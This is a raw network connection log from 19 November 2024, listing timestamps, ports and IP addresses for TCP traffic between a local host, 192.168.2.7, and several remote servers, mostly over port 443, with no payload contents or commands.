Nov 19, 2024 20:05:42.394653082 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.404052019 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.423705101 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.439822912 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.439835072 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.440831900 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.440835953 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.442250967 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.442264080 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.442665100 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.442670107 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.460798025 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.465104103 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.465116024 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.465701103 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.465706110 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.480199099 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.493330956 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.493335962 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.493978024 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.493983030 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.538156986 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.538219929 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.538326979 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.538393974 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.540426970 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.540705919 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.540921926 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.568025112 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.568276882 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.568324089 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.591108084 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.591140985 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.591187000 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.591202021 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.591280937 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.638818979 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.638859034 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.638889074 CET	52450	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.638904095 CET	443	52450	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.639909983 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.639938116 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.639951944 CET	52449	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.639957905 CET	443	52449	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.702584982 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.702610970 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.702687979 CET	52451	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.702694893 CET	443	52451	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.740168095 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.740168095 CET	52452	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.740194082 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.740204096 CET	443	52452	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.805474997 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.805537939 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.805604935 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.828865051 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.828897953 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.831980944 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.832007885 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:42.832206964 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.832983971 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:42.832998037 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:42.834312916 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.834322929 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.835544109 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835580111 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.835628986 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835638046 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835747004 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835753918 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.835902929 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835902929 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.835912943 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.836034060 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.836047888 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.836117029 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:42.836127043 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:42.845828056 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:42.845850945 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:42.846040010 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:42.847976923 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:42.847989082 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:42.915103912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:42.915211916 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:42.953368902 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:42.953413010 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:42.953490019 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:42.953867912 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:42.953891039 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:42.954199076 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.954225063 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:42.954277992 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.954463959 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.954479933 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:42.977076054 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.977123976 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:42.977277040 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.977827072 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:42.977838039 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.144383907 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.144434929 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.144511938 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.144833088 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.144850969 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.269834995 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.368402004 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.368438959 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.369083881 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.369091988 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.415339947 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.424510956 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.452189922 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.469132900 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.469157934 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.469208956 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.469270945 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.469316959 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.482424974 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.502810001 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.507720947 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.516259909 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.550971031 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.550996065 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.551207066 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.551229000 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.551505089 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.551526070 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.552269936 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.552280903 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.552331924 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.552509069 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.552520990 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.552577019 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.552872896 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.552891970 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.552946091 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.573132992 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.583883047 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.645908117 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.645937920 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.646135092 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.646140099 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.646243095 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.646280050 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.646296978 CET	52440	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.646303892 CET	443	52440	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.647640944 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.647660971 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.648108959 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.648118973 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.648490906 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.648498058 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.648921013 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.648927927 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.649210930 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.649228096 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.649565935 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.649580956 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.649585009 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.649631023 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.651894093 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.652065039 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.652079105 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.652102947 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.652687073 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.652698040 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.652740955 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.652760029 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.652770996 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.652792931 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.652813911 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.653076887 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.653209925 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.653522015 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.654702902 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.654730082 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.654876947 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.655196905 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.655284882 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.655610085 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.655616999 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.655642033 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.655740976 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.655750990 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.655991077 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.655998945 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.708894968 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.708942890 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.709022045 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.709064960 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.709075928 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.709430933 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.710503101 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.710566998 CET	52456	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.710602999 CET	443	52456	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.711680889 CET	52466	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.711690903 CET	443	52466	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.748249054 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.748256922 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.748311996 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.748532057 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.748636007 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.748836994 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.751429081 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.751988888 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.752032042 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.752037048 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.752067089 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.759637117 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.759695053 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.761907101 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.761990070 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.762773037 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.762859106 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.762942076 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.763115883 CET	52462	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.763128996 CET	443	52462	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.763860941 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.763930082 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.766693115 CET	52461	443	192.168.2.7	162.159.61.3
Nov 19, 2024 20:05:43.766711950 CET	443	52461	162.159.61.3	192.168.2.7
Nov 19, 2024 20:05:43.767327070 CET	52463	443	192.168.2.7	172.64.41.3
Nov 19, 2024 20:05:43.767339945 CET	443	52463	172.64.41.3	192.168.2.7
Nov 19, 2024 20:05:43.772696972 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.772696972 CET	52459	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.772711039 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.772722006 CET	443	52459	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.773695946 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.773711920 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.773761988 CET	52455	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.773767948 CET	443	52455	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.775073051 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.775825024 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.775842905 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.775856972 CET	52458	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.775862932 CET	443	52458	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.777136087 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.777136087 CET	52457	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.777143002 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.777153015 CET	443	52457	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.778964996 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.778994083 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.779083014 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.780312061 CET	52469	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.780328989 CET	443	52469	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.781183004 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.781215906 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.781354904 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.781513929 CET	52470	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.781527042 CET	443	52470	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.782802105 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.782821894 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.782898903 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.785729885 CET	52471	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.785747051 CET	443	52471	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.786053896 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.786092043 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.786448002 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.786868095 CET	52472	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:43.786884069 CET	443	52472	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:43.797868013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:43.803627014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:43.842493057 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.842540026 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.842844009 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.842873096 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.845155954 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.845201969 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.845208883 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.850788116 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.850836039 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.850842953 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.858658075 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.858696938 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.858702898 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.863184929 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.863289118 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.863296032 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.870707035 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.870791912 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.870798111 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.876519918 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.876570940 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.876578093 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.885803938 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.885885000 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.885890007 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.928199053 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.928405046 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.928414106 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.930342913 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.930732965 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.930782080 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.930787086 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.936850071 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.936898947 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.936903954 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.937796116 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.937822104 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.938738108 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.938743114 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.938788891 CET	52464	443	192.168.2.7	20.190.160.22
Nov 19, 2024 20:05:43.938798904 CET	443	52464	20.190.160.22	192.168.2.7
Nov 19, 2024 20:05:43.943140030 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.943190098 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.943197012 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.949470043 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.949512959 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.949517965 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.955859900 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.955930948 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.955935955 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.961988926 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.962038994 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.962044001 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.968266010 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.968310118 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.968313932 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.974695921 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.974737883 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.974741936 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.981017113 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.981095076 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.981100082 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.986736059 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.986803055 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.986808062 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.992321014 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.995055914 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.995062113 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.997982025 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:43.998044968 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:43.998049021 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.003475904 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.006917000 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.006921053 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.011910915 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.012938976 CET	52460	443	192.168.2.7	142.250.186.65
Nov 19, 2024 20:05:44.012964010 CET	443	52460	142.250.186.65	192.168.2.7
Nov 19, 2024 20:05:44.014668941 CET	443	52460	142.250.186.65	192.168.2.7
